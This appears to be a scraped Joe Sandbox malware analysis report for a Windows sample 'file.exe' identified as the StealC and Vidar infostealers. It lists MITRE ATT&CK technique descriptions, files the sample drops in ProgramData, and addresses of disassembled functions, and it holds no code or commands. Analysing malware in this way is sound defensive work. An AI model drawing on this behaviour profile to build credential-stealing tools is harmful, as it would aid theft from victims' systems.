Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BAAFBFBAAKECFIEBFIECFCGCAF

C:\ProgramData\DAAFIIJDAAAAKFHIDAAAKJJEGD

C:\ProgramData\DHDHJJJECFIECBGDGCAAAEHIEG

C:\ProgramData\EHDHDHIECGCAEBFIIDHI

C:\ProgramData\GHJKJDAK

C:\ProgramData\HIIEGHJJ

C:\ProgramData\IIDAAFBGDBKJJJKFIIIJ

C:\ProgramData\KFIDAFBFBKFHJJKEHIEG

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

Windows Analysis Report
file.exe

Function 00809860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 007F45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 007FBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 00804910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 00809C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 007F7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 00800250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Function 007F5100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre